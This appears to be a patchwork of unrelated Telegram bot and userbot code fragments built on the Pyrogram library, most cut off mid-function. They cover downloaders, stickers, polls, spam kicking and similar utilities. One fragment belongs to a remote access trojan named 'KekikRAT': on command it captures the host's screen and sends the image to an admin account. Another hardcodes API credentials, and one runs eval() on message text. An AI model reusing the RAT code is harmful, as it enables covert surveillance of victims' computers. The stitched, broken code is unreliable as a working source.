import time import os import random from pyrogram.errors.exceptions import FloodWait from pyrogram import Client, Filters from pyrobot import COMMAND_HAND_LER, LOGGER __PLUGIN__ = os.path.basename(__file__.replace(".py", "")) __help__ = f""" `{COMMAND_HAND_LER}type <text>` / `{COMMAND_HAND_LER}typewriter <text>`: Get text typed in typewriter format. """ @Client.on_message(Filters.command(["type", "typewriter"], COMMAND_HAND_LER) & Filters.me) async def upload_as_document(client, message): text = message.command[1:] if not text: await message.edit("`Input not found`") return s_time = 0.1 typing_symbol = '|' old_text = '' await message.edit(typing_symbol) time.sleep(s_time) for character in text: s_t = s_time / random.randint(1, 100) old_text += character typing_text = old_text + typing_symbol try: await message.try_to_edit(typing_text, sudo=False) time.sleep(s_t)
#!/usr/bin/env python #! -*- coding: utf-8 -*- # Bu araç @keyiflerolsun tarafından | @KekikAkademi için yazılmıştır. from pyrogram import Client, Filters from KekikRAT import adminID from PIL import ImageGrab import os @Client.on_message(Filters.command(['ekran'], ['!', '.', '/'])) def ekran(client, message): message.reply_chat_action("typing") kekik = client.send_message(adminID, "Bekleyin..") mesaj = f"[{message.from_user.first_name}](tg://user?id={message.from_user.id}) | `ekran` Komutunu Verdi!\n\n" ekran = ImageGrab.grab() ekran.save('Sreenshot.png') client.send_photo(adminID, 'Sreenshot.png') os.remove('Sreenshot.png') kekik.edit(mesaj)
from datetime import datetime, timedelta from pyrogram import Client, Filters, InlineKeyboardMarkup, InlineKeyboardButton from bot import user_time from config import youtube_next_fetch from helper.ytdlfunc import extractYt, create_buttons import wget import os from PIL import Image ytregex = r"^((?:https?:)?\/\/)?((?:www|m)\.)?((?:youtube\.com|youtu.be))(\/(?:[\w\-]+\?v=|embed\/|v\/)?)([\w\-]+)(\S+)?$" @Client.on_message(Filters.regex(ytregex)) async def ytdl(_, message): userLastDownloadTime = user_time.get(message.chat.id) try: if userLastDownloadTime > datetime.now(): wait_time = round((userLastDownloadTime - datetime.now()).total_seconds() / 60, 2) await message.reply_text(f"`Wait {wait_time} Minutes before next Request`") return except: pass url = message.text.strip() await message.reply_chat_action("typing") try: title, thumbnail_url, formats = extractYt(url) now = datetime.now() user_time[message.chat.id] = now + \ timedelta(minutes=youtube_next_fetch)
def ReplyCheck(message: Message): reply_id = None if message.reply_to_message: reply_id = message.reply_to_message.message_id elif not message.from_user.is_self: reply_id = message.message_id return reply_id # -- Helpers End -- # @BOT.on_message(Filters.command("poll", ".") & Filters.me) def make_poll(bot: BOT, message: Message): cmd = message.command if message.chat.type == 'private': message.edit("Polls are not supported in private chats") sleep(2) message.delete() return if len(cmd) is 1: message.edit("I need a question") sleep(2) message.delete() elif len(cmd) > 1: poll = message.text[6:].split('\n') if len(poll[1:]) < 2: message.edit("I need at least two answers")
import requests from nana import app, Command from pyrogram import Filters __MODULE__ = "Device" DEVICE_LIST = "https://raw.githubusercontent.com/androidtrackers/certified-android-devices/master/by_device.json" @app.on_message(Filters.user("self") & Filters.command(["device"], Command)) async def get_device_info(client, message): if len(message.text.split()) == 1: await message.edit("Usage: `device (codename)`") return getlist = requests.get(DEVICE_LIST).json() targetdevice = message.text.split()[1].lower() devicelist = [] found = False if targetdevice in list(getlist): device = getlist.get(targetdevice) text = "" for x in device: text += "Brand: `{}`\nName: `{}`\nDevice: `{}`\nCodename: `{}`".format(x['brand'], x['name'], x['model'], targetdevice) text += "\n\n" await message.edit(text) else: await message.edit("Device {} was not found!".format(targetdevice))
from pyrogram import Client, Filters from datetime import datetime from pyrobot import COMMAND_HAND_LER # -- Constants -- # ALIVE = "`I'm alive, Master :3`" HELP = ("Elaborate help available soon.\n" "https://telegram.dog/UserBotTalk") REPO = ("Userbot is available on GitHub:\n" "https://github.com/SpEcHiDe/PyroGramUserBot") # -- Constants End -- # @Client.on_message(Filters.command("alive", COMMAND_HAND_LER) & Filters.me) async def check_alive(client, message): await message.edit(ALIVE) @Client.on_message(Filters.command("helpme", COMMAND_HAND_LER) & Filters.me) async def help_me(client, message): await message.edit(HELP) @Client.on_message(Filters.command("ping", COMMAND_HAND_LER) & Filters.me) async def ping(client, message): start_t = datetime.now() await message.edit("Pong!") end_t = datetime.now() time_taken_s = (end_t - start_t).microseconds / 1000
if not message.text and not message.caption: return False # Answer the question result = question_answer(client, uid, message.text or message.caption) except Exception as e: logger.warning(f"Verify check error: {e}", exc_info=True) finally: glovar.locks["message"].release() delete_normal_command(client, message) return result @Client.on_message((Filters.incoming | aio) & Filters.channel & ~Filters.command(glovar.all_commands, glovar.prefix) & hide_channel, group=-1) def exchange_emergency(client: Client, message: Message) -> bool: # Sent emergency channel transfer request result = False try: # Read basic information data = receive_text_data(message) if not data: return True sender = data["from"] receivers = data["to"] action = data["action"]
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pyrogram import (Filters, Message) from pyrobot import (SUDO_USERS, USE_AS_BOT) def f_sudo_filter(f, m: Message): return bool(m.from_user.id in SUDO_USERS) sudo_filter = Filters.create(func=f_sudo_filter, name="SudoFilter") def onw_filter(f, m: Message): if USE_AS_BOT: return bool(m.from_user.id in SUDO_USERS) else: return bool(m.from_user and m.from_user.is_self) f_onw_fliter = Filters.create(func=onw_filter, name="OnwFilter")
from pyrogram import Client, Filters @Client.on_message(Filters.command(["help"])) async def start(client, message): helptxt = f"No one can help you, except yourself! 😉 For any issues/support/error report contact my master Softfreakz!" await message.reply_text(helptxt)
For Termux API (You may need to host your Userbot on Termux): And install Termux API from Playstore. ──「 **Battery Status** 」── -> `bstats` get yout phone's Battery Status. ──「 **Torch** 」── -> `torch` Turn your Device's Torch on & off . """ torch = False @app.on_message(Filters.me & Filters.command("bstats", Command)) async def bstat(_client, message): if TERMUX_USER: termux_command = subprocess.Popen("termux-battery-status", shell=True, stdout=subprocess.PIPE) my_bytes_value = termux_command.stdout.read() my_json = my_bytes_value.decode('utf8').replace("'", '').replace( '"', '').replace("{", '').replace("}", '').replace(",", '').replace( " ", '').replace(":", ': ') await message.edit(f"<b>Battery Status:</b>{my_json}") else: await message.edit("This command is only for Termux users!") await sleep(2.0) await message.delete()
-> `yt (text)` Give text as args for search from youtube, will send result more than 10 depending on yt page. ──「 **Download video** 」── -> `ytdl (url)` Download youtube video (mp4), you can select resolutions from the list. ──「 **Convert to music** 」── -> `ytmusic (url)` -> `ytaudio (url)` Download youtube music, and then send to tg as music. """ @app.on_message( Filters.user("self") & Filters.command(["youtube", "yt"], Command)) async def youtube_search(client, message): args = message.text.split(None, 1) if len(args) == 1: await message.edit("Write any args here!") return teks = args[1] responce = requests.get('https://www.youtube.com/results?search_query=' + teks.replace(" ", "%20")) soup = BeautifulSoup(responce.content, "html.parser") divs = soup.find_all("div", {"class": "yt-lockup"}) yutub = "<b>Results of {}</b>\n".format(teks) nomor = 0 for i in divs: title = cleanhtml( str(i.find('h3', {
def dynamic_data_filter(data): return Filters.create( lambda flt, query: flt.data == query.data, data=data # "data" kwarg is accessed with "flt.data" above )
from pyrogram import Client, Filters, InlineKeyboardButton, InlineKeyboardMarkup import os blacklist = ['drive.google.com', 'tor.checker.in'] HOME = InlineKeyboardMarkup([ [InlineKeyboardButton(text='Format - PDF', callback_data='format')], [InlineKeyboardButton(text='Page - Full', callback_data="page")], # [InlineKeyboardButton(text='Landscape', callback_data="orientation")], [InlineKeyboardButton(text='show additional options ˅', callback_data="options")], [InlineKeyboardButton(text='▫️ start render ▫️', callback_data="render")], [InlineKeyboardButton(text='cancel', callback_data="cancel")] ]) format_for_logging = "Request from {name} aka @{user}\n\nQuery : {link}\n\nSettings Used : \n {settings}" @Client.on_message(Filters.command(["start"])) async def start(client, message): await client.send_message( chat_id=message.chat.id, text=f"Please Send Any Link", reply_to_message_id=message.message_id ) @Client.on_message(Filters.command(["feedback"])) async def feedback(client, message): await client.send_message( chat_id=message.chat.id, text=f"for suggetions and feedbacks contact @STARKTM1", reply_to_message_id=message.message_id )
comment = balance_comment_medium mid = bot.send_message(chat_id=cid, text=balance_phrase.format(balance, comment), reply_to_message_id=get_mid(message), reply_markup=ok_keyboard, parse_mode='html').message_id chat.mids = json.dumps([mid]) chat.save() my_tacos_handler = MessageHandler( callback=my_tacos_callback, filters=Filters.group & Filters.command(['mytacos', 'mytacos@YetAnotherTacoBot'])) def taco_top_callback(bot, message): """ shows top-5(or less) taco-users in chat """ cid = get_cid(message) mid = get_mid(message) store_name(message) chat = Chats.get(Chats.cid == message.chat.id) clean_chat(chat.mids, chat.cid, message, bot) ok_button = InlineKeyboardButton('OK', callback_data='delete:{}'.format( message.from_user.id))
from pyrogram import (Client, CallbackQuery, InlineKeyboardMarkup, InlineKeyboardButton, Filters) from .utils import get_info @Client.on_callback_query( Filters.create(lambda _, c: c.data.split('|')[0].lstrip('-').isdigit())) async def show_info_about_tg_object(_client: Client, callback: CallbackQuery): chat, came_from, show_as = callback.data.split('|') info = get_info(int(chat)) await callback.edit_message_text( f""" 🔸 Name: {info.name} 🔸 Stars average: {info.stars_average} 🔸 Amount of rates: {info.rates} """, reply_markup=InlineKeyboardMarkup( [[InlineKeyboardButton("Back ➡️", f"s|{came_from}|{show_as}")], [ InlineKeyboardButton( "Get rate link", f"getlink|{info.id}|{came_from}|{show_as}") ]]))
import asyncio from coffeehouse.api import API from coffeehouse.lydia import LydiaAI from pyrogram import Filters from nana import setbot, AdminSettings, lydia_api lydia_status = False coffeehouse_api = None lydia = None session = None @setbot.on_message(Filters.user(AdminSettings) & Filters.command(["lydia"])) async def lydia_stats(_client, message): global lydia_status, coffeehouse_api, lydia, session if lydia_api == "": await message.reply( "`lydia API key is not set!\nSet your lydia API key by adding Config Vars in heroku with " "name lydia_api with value your lydia key API`") return if lydia_status: await message.reply("Turning off lydia...") asyncio.sleep(0.3) lydia_status = False await message.reply("Lydia will not reply your message") else: await message.reply("Turning on lydia...") try: coffeehouse_api = API(lydia_api)
import json import requests from userbot import UserBot, LOG_GROUP from pyrogram import Filters, Message, ChatMember from userbot.plugins.help import add_command_help @UserBot.on_message(Filters.command("spamhammer", ".") & Filters.me) async def spamhammer(bot: UserBot, message: Message): await message.edit("```Initializing the database```") url = 'https://feed.spamwat.ch/' content = requests.get( url, headers={ "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1" }) spam_ids = [] for x in content.iter_lines(): line: dict = json.loads(x) the_id = line.get('id') if the_id not in spam_ids: spam_ids.append(the_id) await message.edit("Starting to kick spam accounts.") count = 0 async for member in bot.iter_chat_members(message.chat.id):
──「 **Steal Sticker** 」── -> `kang` Reply a sticker/image, and sticker is your. ──「 **Set Sticker Pack** 」── -> /setsticker This command only for Assistant bot, to set your sticker pack. When sticker pack is full, type that command, and select another. Or create new at @Stickers ──「 **Create Sticker from Text** 」── -> /stx Reply a message from that user, then make a text based on that message """ @app.on_message(Filters.user("self") & Filters.command(["kang"], Command)) async def kang_stickers(client, message): if not DB_AVAIABLE: await message.edit("Your database is not avaiable!") return sticker_pack = get_sticker_set(message.from_user.id) animation_pack = get_stanim_set(message.from_user.id) if not sticker_pack: await message.edit( "You're not setup sticker pack!\nCheck your saved messages for more information!" ) await client.send_message( Owner, "Hello 🙂\nYou're look like want to steal a sticker, but sticker pack was not set. To set a sticker pack, type `.setsticker sticker_name`\nYou must fill `sticker_name` exacly from @stickers sticker list, you can also create new stickers from @stickers!" ) return
from nana.helpers.parser import mention_markdown if DB_AVAILABLE: from nana.modules.database.pm_db import set_whitelist, get_whitelist, set_req, get_req, del_whitelist welc_txt = f"""Hello, I'm {OwnerName}'s Userbot. Try contacting me by pressing buttons down bellow""" NOTIFY_ID = Owner BLACKLIST = ["hack", "f**k", "bitch"] USER_IN_RESTRICT = [] @app.on_message(~Filters.user("self") & Filters.private & ~Filters.bot) async def pm_block(client, message): print("test1") if not get_whitelist(message.chat.id): print("test2") await client.read_history(message.chat.id) if message.text: for x in message.text.lower().split(): if x in BLACKLIST: # await message.reply("F**k you too!") await client.block_user(message.chat.id) return from nana.modules.lydia import lydia_status print(get_req(message.chat.id)) if not get_req(message.chat.id): result = await client.get_inline_bot_results(
return 'error' return new_id, transferred_size def create_directory(service, directory_name, parent_id): file_metadata = {"name": directory_name, "mimeType": G_DRIVE_DIR_MIME_TYPE} if parent_id is not None: file_metadata["parents"] = [parent_id] file = service.files().create(supportsTeamDrives=True, body=file_metadata).execute() file_id = file.get("id") return file_id @Client.on_message(Filters.private & Filters.incoming & Filters.command(['copy'])) async def _copy(client, message): creds = db.get_credential(message.from_user.id) if creds is None: await message.reply_text( '❗ **Not an authorized user.**\n__Authorize your Google Drive Account by running /auth Command in order to use this bot.__', quote=True) return if sql.get_id(message.from_user.id): parent_id = sql.get_id(message.from_user.id).parent_id else: parent_id = 'root' transferred_size = 0 if len(message.command) > 1: sent_message = await message.reply_text( '**Checking Google Drive Link...**', quote=True)
message = update if not message.chat: return False cid = message.chat.id if cid == glovar.test_group_id: return True except Exception as e: logger.warning(f"Is test group error: {e}", exc_info=True) return False aio = Filters.create( func=is_aio, name="AIO" ) authorized_group = Filters.create( func=is_authorized_group, name="Authorized Group" ) class_c = Filters.create( func=is_class_c, name="Class C" ) class_d = Filters.create( func=is_class_d, name="Class D"
from pyrogram import Client, Filters from pyrogram.errors import FloodWait import time app = Client("ssn", 950979, "e3135b7af1cd3681d5e9bad56591ff65") s = -1001262096355 d = -1001428773103 @app.on_message(Filters.chat(s) & Filters.text & ~Filters.edited) def forward(client, Message): f = False words = [ 'dekho', 'TRUST', 'join', 'fix', '😱', '😳', '👆', '👇', '☝️', 'https://', '😂', '🤔', 'pass', 'chase', 'link', 'suno', 'member', '❓', 'loss', 'audio', 'open', "report", 'paid', 'contact', 'baazigar', 'market', 'load', 'whatsapp', 'book', 'bhai', '🐴', 'only', 'chut', 'tennis', 'teen', 'lavde', 'chutiya', 'bc', 'kya', 'line', 'LUND', 'WICKET LU', '?', 'loda', 'telegram', 'chor', "kama", "lakh", ' id', 'स', "kitna" ] for word in words: if word.casefold() in Message.text.casefold(): return mes = client.send_message( d, Message.text.markdown.replace("🖲", "🧤").replace("📟", "🎳").replace("🇩🇪", "🇭🇳")) files = open("sure.txt", "a") files.write(" " + str(Message.message_id) + " " + str(mes.message_id)) files.close()
from tobrot.plugins.custom_thumbnail import (save_thumb_nail, clear_thumb_nail) if __name__ == "__main__": # create download directory, if not exist if not os.path.isdir(DOWNLOAD_LOCATION): os.makedirs(DOWNLOAD_LOCATION) # app = Client("LeechBot", bot_token=TG_BOT_TOKEN, api_id=APP_ID, api_hash=API_HASH, workers=343) # incoming_message_handler = MessageHandler( incoming_message_f, filters=Filters.command(["leech@Chootmebot"]) & Filters.chat(chats=AUTH_CHANNEL)) app.add_handler(incoming_message_handler) # incoming_purge_message_handler = MessageHandler( incoming_purge_message_f, filters=Filters.command(["purge@Chootmebot"]) & Filters.chat(chats=AUTH_CHANNEL)) app.add_handler(incoming_purge_message_handler) # incoming_youtube_dl_handler = MessageHandler( incoming_youtube_dl_f, filters=Filters.command(["ytdl@Chootmebot"]) & Filters.chat(chats=AUTH_CHANNEL)) app.add_handler(incoming_youtube_dl_handler) #
from pyrogram import Client, Filters, InlineKeyboardMarkup, InlineKeyboardButton, Emoji from config import Messages as tr @Client.on_message(Filters.private & Filters.incoming & Filters.command(['start'])) async def _start(client, message): await client.send_message(chat_id=message.chat.id, text=tr.START_MSG.format( message.from_user.first_name), parse_mode="markdown", disable_notification=True, reply_to_message_id=message.message_id) @Client.on_message(Filters.private & Filters.incoming & Filters.command(['help'])) async def _help(client, message): await client.send_message(chat_id=message.chat.id, text=tr.HELP_MSG[1], parse_mode="markdown", disable_notification=True, reply_markup=InlineKeyboardMarkup(map(1)), reply_to_message_id=message.message_id) help_callback_filter = Filters.create( lambda _, query: query.data.startswith('help+')) @Client.on_callback_query(help_callback_filter)
"""Get Detailed info about any message Syntax: .json""" from pyrogram import Client, Filters import os from pyrobot import MAX_MESSAGE_LENGTH, COMMAND_HAND_LER @Client.on_message(Filters.command("json", COMMAND_HAND_LER) & Filters.me) async def jsonify(client, message): the_real_message = None reply_to_id = None if message.reply_to_message: reply_to_id = message.reply_to_message.message_id the_real_message = message.reply_to_message else: the_real_message = message reply_to_id = message.message_id try: await message.edit(the_real_message) except Exception as e: with open("json.text", "w+", encoding="utf8") as out_file: out_file.write(str(the_real_message)) await client.send_document(chat_id=message.chat.id, document="json.text", caption=str(e), disable_notification=True,
import time import math import os import pyrogram from platform import python_version, uname from nana import app, Command, DB_AVAIABLE, USERBOT_VERSION, Owner from nana.helpers.parser import mention_markdown from pyrogram import Filters @app.on_message(Filters.user("self") & Filters.command(["me"], Command)) async def get_myself_client(client, message): try: me = await app.get_me() except ConnectionError: return getphoto = await client.get_profile_photos(me.id) if len(getphoto) == 0: getpp = None else: getpp = getphoto[0] text = "**ℹ️ Your profile:**\n" text += "First name: {}\n".format(me.first_name) if me.last_name: text += "Last name: {}\n".format(me.last_name) text += "User ID: `{}`\n".format(me.id) if me.username: text += "Username: @{}\n".format(me.username) text += "Phone number: `{}`\n".format("*" * len(me.phone_number))
from pyrogram import Client, Filters, StopPropagation, InlineKeyboardButton, InlineKeyboardMarkup @Client.on_message(Filters.command(["start"]), group=-2) async def start(client, message): # return joinButton = InlineKeyboardMarkup( [[InlineKeyboardButton("⭕️Channel⭕️", url="https://t.me/VKPROJECTS")], [ InlineKeyboardButton("⭕️ Report Bugs 😊 ⭕️", url="https://t.me/VKPBOTS") ]]) welcomed = f"Hey <b>{message.from_user.first_name}</b>\n**I'm A POWERFULL YOUTUBE DOWNLOADER Bot💯**\n\n**Please send me any YOUTUBE link,**\n\n**Click /help for more detailS..**\n\n**You must subscribe our channel in order to use me😇**" await message.reply_text(welcomed, reply_markup=joinButton) raise StopPropagation
def SendLong(message: Message, cmdstr: str, result): with open("output.txt", 'w+', encoding='utf8') as f: f.write(str(result)) BOT.send_document(chat_id=message.chat.id, document="output.txt", caption="`Output too long, sent as file.`", reply_to_message_id=ReplyCheck(message)) os.remove("output.txt") # -- Helpers End -- # @BOT.on_message(Filters.command("eval", ".") & Filters.me) def evaluation(bot: BOT, message: Message): try: cmdstr = " ".join(message.command[1:]) except IndexError: message.edit("__I can't evaluate nothing...__") sleep(2) message.delete() return if cmdstr: expr = message.reply(RUNNING.format(cmdstr)) try: result = eval(cmdstr) except Exception as err:
import dicioinformal from pyrogram import Client, Filters from config import cmds @Client.on_message(Filters.command("dicio", prefixes=".") & Filters.me) async def dicio(client, message): txt = message.text.split(' ', 1)[1] a = dicioinformal.definicao(txt)['results'] if a: frase = f'{a[0]["title"]}:\n{a[0]["tit"]}\n\n__{a[0]["desc"]}__' else: frase = 'sem resultado' await message.edit(frase) cmds.update({'.dicio': 'Search from dicioinformal'})
if r.status_code == 200: data = r.json() url = data["url"] return url def get_doggo(): r = requests.get("http://shibe.online/api/shibes") if r.status_code == 200: data = r.json() url = data[0] return url @BOT.on_message( Filters.regex("(?i)(post|get|send) (shibe|dog|doggo|woof|🐶|🐕) (gif|gifs)") & ~Filters.edited) async def send_dog(bot: BOT, message: Message): if re.match("(?i)(post|get|send) (dog|doggo|woof|🐶|🐕) (gif|gifs)", message.text): link_to_image = get_dog("webm,png,jpg,jpeg") await BOT.send_animation(chat_id=message.chat.id, animation=link_to_image, disable_notification=True, reply_to_message_id=ReplyCheck(message)) @BOT.on_message( Filters.regex("(?i)(post|get|send) (shibe|dog|doggo|woof|🐶|🐕)") & ~Filters.edited) async def send_dog_gif(bot: BOT, message: Message):